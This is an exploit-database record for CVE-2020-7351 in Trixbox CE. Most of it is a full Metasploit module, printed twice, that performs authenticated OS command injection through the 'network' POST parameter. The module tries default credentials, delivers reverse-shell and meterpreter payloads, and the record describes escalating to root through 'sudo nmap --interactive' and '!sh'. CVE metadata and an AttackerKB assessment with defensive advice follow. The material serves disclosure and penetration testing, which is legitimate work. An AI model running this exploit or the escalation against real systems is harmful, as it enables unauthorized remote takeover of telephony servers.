This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.
{"id": "1337DAY-ID-34386", "vendorId": null, "type": "zdt", "bulletinFamily": "exploit", "title": "TrixBox CE 2.8.0.4 Command Execution Exploit", "description": "This Metasploit module exploits an authenticated OS command injection vulnerability found in Trixbox CE versions 1.2.0 through 2.8.0.4 inclusive in the network POST parameter of the /maint/modules/endpointcfg/endpoint_devicemap.php page. Successful exploitation allows for arbitrary command execution on the underlying operating system as the asterisk user. Users can easily elevate their privileges to the root user however by executing sudo nmap --interactive followed by !sh from within nmap.", "published": "2020-05-07T00:00:00", "modified": "2020-05-07T00:00:00", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "COMPLETE", "baseScore": 9.0, "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 10.0, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/34386", "reporter": "metasploit", "references": [], "cvelist": ["CVE-2020-7351"], "immutableFields": [], "lastseen": "2021-12-19T19:20:47", "viewCount": 6, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:A03E3D28-8BB7-4679-B405-A2E6E0AA1BCF"]}, {"type": "cve", "idList": ["CVE-2020-7351"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157565"]}], "rev": 4}, "score": {"value": 0.1, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:A03E3D28-8BB7-4679-B405-A2E6E0AA1BCF"]}, {"type": "cve", "idList": ["CVE-2020-7351"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157565"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2020-7351", "epss": "0.921690000", "percentile": "0.983680000", "modified": "2023-03-16"}], "vulnersScore": 0.1}, "_state": {"dependencies": 1663695782, "score": 1663695947, "epss": 1678993763}, "_internal": {"score_hash": "2bfef0e91281328bda9ca5d57550df83"}, "sourceHref": "https://0day.today/exploit/34386", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',\n 'Description' => %q{\n This module exploits an authenticated OS command injection\n vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4\n inclusive in the \"network\" POST parameter of the\n \"/maint/modules/endpointcfg/endpoint_devicemap.php\" page.\n Successful exploitation allows for arbitrary command execution\n on the underlying operating system as the \"asterisk\" user.\n Users can easily elevate their privileges to the \"root\" user\n however by executing \"sudo nmap --interactive\" followed by \"!sh\"\n from within nmap.\n },\n 'Author' => [\n # Obrela Labs Team - Discovery and Metasploit module\n 'Anastasios Stasinopoulos (@ancst)'\n ],\n 'References' => [\n ['CVE', '2020-7351'],\n ['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module\n ],\n 'License' => MSF_LICENSE,\n 'Platform' => ['unix', 'linux'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Payload' => { 'BadChars' => \"\\x00\" },\n 'DisclosureDate' => 'Apr 28 2020',\n 'Targets' =>\n [\n [\n 'Automatic (Linux Dropper)',\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },\n 'Type' => :linux_dropper\n ],\n [\n 'Automatic (Unix In-Memory)',\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },\n 'Type' => :unix_memory\n ]\n ],\n 'Privileged' => false,\n 'DefaultTarget' => 0\n )\n )\n register_options(\n [\n OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),\n OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),\n ]\n )\n end\n\n def user\n datastore['HttpUsername']\n end\n\n def pass\n datastore['HttpPassword']\n end\n\n def get_target(res)\n version = res.body.scan(/v(\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first\n if version.nil?\n version = res.body.scan(/Version: (\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first\n if version.nil?\n print_error(\"#{peer} - Unable to grab version of Trixbox CE installed on target!\")\n return nil\n end\n end\n print_good(\"#{peer} - Trixbox CE v#{version} identified.\")\n if Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4'))\n @uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')\n elsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9'))\n @uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')\n elsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9'))\n @uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')\n else\n return nil\n end\n return version\n end\n\n def login(user, pass, _opts = {})\n uri = normalize_uri(target_uri.path, '/maint/')\n print_status(\"#{peer} - Authenticating using \\\"#{user}:#{pass}\\\" credentials...\")\n res = send_request_cgi({\n 'uri' => uri,\n 'method' => 'GET',\n 'authorization' => basic_auth(user, pass)\n })\n unless res\n # We return nil here, as callers should handle this case\n # specifically with their own unique error message.\n return nil\n end\n\n if res.code == 200\n print_good(\"#{peer} - Authenticated successfully.\")\n elsif res.code == 401\n print_error(\"#{peer} - Authentication failed.\")\n else\n print_error(\"#{peer} - The host responded with an unexpected status code: #{res.code}.\")\n end\n return res\n rescue ::Rex::ConnectionError\n print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')\n return nil\n end\n\n def execute_command(cmd, _opts = {})\n send_request_cgi({\n 'uri' => @uri,\n 'method' => 'POST',\n 'authorization' => basic_auth(user, pass),\n 'vars_post' => {\n 'network' => \";$(#{cmd})\"\n }\n })\n rescue ::Rex::ConnectionError\n fail_with(Failure::Unreachable, 'Connection failed.')\n end\n\n def check\n res = login(user, pass)\n unless res\n print_error(\"No response was received from #{peer} whilst in check(), check it is online and the target port is open!\")\n return CheckCode::Detected\n end\n if res.code == 200\n version = get_target(res)\n if version.nil?\n # We don't print out an error message here as returning this will\n # automatically cause Metasploit to print out an appropriate error message.\n return CheckCode::Safe\n end\n\n delay = rand(7...10)\n cmd = \"sleep #{delay}\"\n print_status(\"#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.\")\n t1 = Time.now.to_i\n res = execute_command(cmd)\n t2 = Time.now.to_i\n unless res\n print_error(\"#{peer} - Connection failed whilst trying to perform the command injection.\")\n return CheckCode::Detected\n end\n diff = t2 - t1\n if diff >= delay\n print_good(\"#{peer} - Response received after #{diff} seconds.\")\n return CheckCode::Vulnerable\n else\n print_error(\"#{peer} - Response wasn't received within the expected period of time.\")\n return CheckCode::Safe\n end\n end\n rescue ::Rex::ConnectionError\n print_error(\"#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.\")\n return CheckCode::Unknown\n end\n\n def exploit\n res = login(user, pass)\n unless res\n print_error(\"No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!\")\n end\n if res.code == 200\n version = get_target(res)\n if version.nil?\n print_error(\"#{peer} - The target is not vulnerable.\")\n return false\n end\n print_status(\"#{peer} - Sending payload (#{payload.encoded.length} bytes)...\")\n case target['Type']\n when :unix_memory\n execute_command(payload.encoded)\n when :linux_dropper\n execute_cmdstager(linemax: 130_000)\n end\n end\n rescue ::Rex::ConnectionError\n print_error('Rex::ConnectionError caught in check(), could not connect to the target.')\n return false\n end\nend\n", "category": "remote exploits", "verified": true}
{"cve": [{"lastseen": "2023-02-09T15:29:22", "description": "An OS Command Injection vulnerability in the endpoint_devicemap.php component of Fonality Trixbox Community Edition allows an attacker to execute commands on the underlying operating system as the \"asterisk\" user. Note that Trixbox Community Edition has been unsupported by the vendor since 2012. This issue affects: Fonality Trixbox Community Edition, versions 1.2.0 through 2.8.0.4. Versions 1.0 and 1.1 are unaffected.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-05-01T16:15:00", "type": "cve", "title": "CVE-2020-7351", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-7351"], "modified": "2022-04-18T09:37:00", "cpe": ["cpe:/a:netfortris:trixbox:2.8.0.4"], "id": "CVE-2020-7351", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-7351", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:netfortris:trixbox:2.8.0.4:*:*:*:community:*:*:*"]}], "packetstorm": [{"lastseen": "2020-08-31T07:08:45", "description": "", "cvss3": {}, "published": "2020-05-05T00:00:00", "type": "packetstorm", "title": "TrixBox CE 2.8.0.4 Command Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-7351"], "modified": "2020-05-05T00:00:00", "id": "PACKETSTORM:157565", "href": "https://packetstormsecurity.com/files/157565/TrixBox-CE-2.8.0.4-Command-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution', \n'Description' => %q{ \nThis module exploits an authenticated OS command injection \nvulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4 \ninclusive in the \"network\" POST parameter of the \n\"/maint/modules/endpointcfg/endpoint_devicemap.php\" page. \nSuccessful exploitation allows for arbitrary command execution \non the underlying operating system as the \"asterisk\" user. \nUsers can easily elevate their privileges to the \"root\" user \nhowever by executing \"sudo nmap --interactive\" followed by \"!sh\" \nfrom within nmap. \n}, \n'Author' => [ \n# Obrela Labs Team - Discovery and Metasploit module \n'Anastasios Stasinopoulos (@ancst)' \n], \n'References' => [ \n['CVE', '2020-7351'], \n['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module \n], \n'License' => MSF_LICENSE, \n'Platform' => ['unix', 'linux'], \n'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], \n'Payload' => { 'BadChars' => \"\\x00\" }, \n'DisclosureDate' => 'Apr 28 2020', \n'Targets' => \n[ \n[ \n'Automatic (Linux Dropper)', \n'Platform' => 'linux', \n'Arch' => [ARCH_X86, ARCH_X64], \n'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, \n'Type' => :linux_dropper \n], \n[ \n'Automatic (Unix In-Memory)', \n'Platform' => 'unix', \n'Arch' => ARCH_CMD, \n'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' }, \n'Type' => :unix_memory \n] \n], \n'Privileged' => false, \n'DefaultTarget' => 0 \n) \n) \nregister_options( \n[ \nOptString.new('HttpUsername', [ true, 'User to login with', 'maint']), \nOptString.new('HttpPassword', [ true, 'Password to login with', 'password']), \n] \n) \nend \n \ndef user \ndatastore['HttpUsername'] \nend \n \ndef pass \ndatastore['HttpPassword'] \nend \n \ndef get_target(res) \nversion = res.body.scan(/v(\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first \nif version.nil? \nversion = res.body.scan(/Version: (\\d.\\d.{0,1}\\d{0,1}.{0,1}\\d{0,1})/).flatten.first \nif version.nil? \nprint_error(\"#{peer} - Unable to grab version of Trixbox CE installed on target!\") \nreturn nil \nend \nend \nprint_good(\"#{peer} - Trixbox CE v#{version} identified.\") \nif Gem::Version.new(version).between?(Gem::Version.new('2.6.0.0'), Gem::Version.new('2.8.0.4')) \n@uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php') \nelsif Gem::Version.new(version).between?(Gem::Version.new('2.0.0.0'), Gem::Version.new('2.4.9.9')) \n@uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php') \nelsif Gem::Version.new(version).between?(Gem::Version.new('1.2.0.0'), Gem::Version.new('1.9.9.9')) \n@uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php') \nelse \nreturn nil \nend \nreturn version \nend \n \ndef login(user, pass, _opts = {}) \nuri = normalize_uri(target_uri.path, '/maint/') \nprint_status(\"#{peer} - Authenticating using \\\"#{user}:#{pass}\\\" credentials...\") \nres = send_request_cgi({ \n'uri' => uri, \n'method' => 'GET', \n'authorization' => basic_auth(user, pass) \n}) \nunless res \n# We return nil here, as callers should handle this case \n# specifically with their own unique error message. \nreturn nil \nend \n \nif res.code == 200 \nprint_good(\"#{peer} - Authenticated successfully.\") \nelsif res.code == 401 \nprint_error(\"#{peer} - Authentication failed.\") \nelse \nprint_error(\"#{peer} - The host responded with an unexpected status code: #{res.code}.\") \nend \nreturn res \nrescue ::Rex::ConnectionError \nprint_error('Caught a Rex::ConnectionError in login() method. Connection failed.') \nreturn nil \nend \n \ndef execute_command(cmd, _opts = {}) \nsend_request_cgi({ \n'uri' => @uri, \n'method' => 'POST', \n'authorization' => basic_auth(user, pass), \n'vars_post' => { \n'network' => \";$(#{cmd})\" \n} \n}) \nrescue ::Rex::ConnectionError \nfail_with(Failure::Unreachable, 'Connection failed.') \nend \n \ndef check \nres = login(user, pass) \nunless res \nprint_error(\"No response was received from #{peer} whilst in check(), check it is online and the target port is open!\") \nreturn CheckCode::Detected \nend \nif res.code == 200 \nversion = get_target(res) \nif version.nil? \n# We don't print out an error message here as returning this will \n# automatically cause Metasploit to print out an appropriate error message. \nreturn CheckCode::Safe \nend \n \ndelay = rand(7...10) \ncmd = \"sleep #{delay}\" \nprint_status(\"#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.\") \nt1 = Time.now.to_i \nres = execute_command(cmd) \nt2 = Time.now.to_i \nunless res \nprint_error(\"#{peer} - Connection failed whilst trying to perform the command injection.\") \nreturn CheckCode::Detected \nend \ndiff = t2 - t1 \nif diff >= delay \nprint_good(\"#{peer} - Response received after #{diff} seconds.\") \nreturn CheckCode::Vulnerable \nelse \nprint_error(\"#{peer} - Response wasn't received within the expected period of time.\") \nreturn CheckCode::Safe \nend \nend \nrescue ::Rex::ConnectionError \nprint_error(\"#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.\") \nreturn CheckCode::Unknown \nend \n \ndef exploit \nres = login(user, pass) \nunless res \nprint_error(\"No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!\") \nend \nif res.code == 200 \nversion = get_target(res) \nif version.nil? \nprint_error(\"#{peer} - The target is not vulnerable.\") \nreturn false \nend \nprint_status(\"#{peer} - Sending payload (#{payload.encoded.length} bytes)...\") \ncase target['Type'] \nwhen :unix_memory \nexecute_command(payload.encoded) \nwhen :linux_dropper \nexecute_cmdstager(linemax: 130_000) \nend \nend \nrescue ::Rex::ConnectionError \nprint_error('Rex::ConnectionError caught in check(), could not connect to the target.') \nreturn false \nend \nend \n`\n", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/157565/trixbox_ce_endpoint_devicemap_rce.rb.txt"}], "attackerkb": [{"lastseen": "2021-07-20T20:11:34", "description": "An OS Command Injection vulnerability in the endpoint_devicemap.php component of Fonality Trixbox Community Edition allows an attacker to execute commands on the underlying operating system as the \u201casterisk\u201d user. Note that Trixbox Community Edition has been unsupported by the vendor since 2012. This issue affects: Fonality Trixbox Community Edition, versions 1.2.0 through 2.8.0.4. Versions 1.0 and 1.1 are unaffected.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at November 25, 2020 6:12pm UTC reported:\n\nA command injection vulnerability in the `network` POST parameter of the `/maint/modules/endpointcfg/endpoint_devicemap.php` page on Fonality Trixbox Community Edition versions 1.2.0 through 2.8.0.4 allowed remote authenticated attackers to take complete control over the affected devices as the `asterisk` user, and then elevate to `root` by running `sudo nmap --interactive` followed by `!sh` from within `nmap`.\n\nMy personal opinion on this is that it is a very wide ranging vulnerability in terms of the number of versions affected. We are talking over 60% of the released versions of Fonality Trixbox Community Edition were affected by this vulnerability, although the main downside is that Fonality TrixBox Community Edition is no longer supported by its developers.\n\nThis creates an interesting question cause whilst telephony systems are known to run out of date and depreciated software (as is the case with many public service departments), I don\u2019t know if this particular software would still be used in most departments or if they would have just moved on by this point. Particularly given that this software is the community edition I imagine most users would have moved on to other software by now, but we all know that, like Windows XP, some people will still cling to what they know is tried and true. That being said I would have to imagine that the numbers have diminished significantly in the time between the last release of Fonality TrixBox Community Edition and now.\n\nAdditionally the requirement for a user to be authenticated to exploit this vulnerability means that simply setting a strong password on affected devices will likely prevent them from being compromised by this vulnerability.\n\nTLDR: An interesting vulnerability but seeing as the software is no longer supported and it does require authenticated access, its probably not something that should be at the top of your priority list unless you know you are running TrixBox Community Edition, in which case if you can\u2019t upgrade it is recommended you ensure all devices have a strong password, as this will prevent users from easily being able to exploit this vulnerability.\n\nAssessed Attacker Value: 3 \nAssessed Attacker Value: 3Assessed Attacker Value: 5\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-04-28T00:00:00", "type": "attackerkb", "title": "CVE-2020-7351", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-7351"], "modified": "2020-07-30T00:00:00", "id": "AKB:A03E3D28-8BB7-4679-B405-A2E6E0AA1BCF", "href": "https://attackerkb.com/topics/0VW2u2Lb4E/cve-2020-7351", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}]}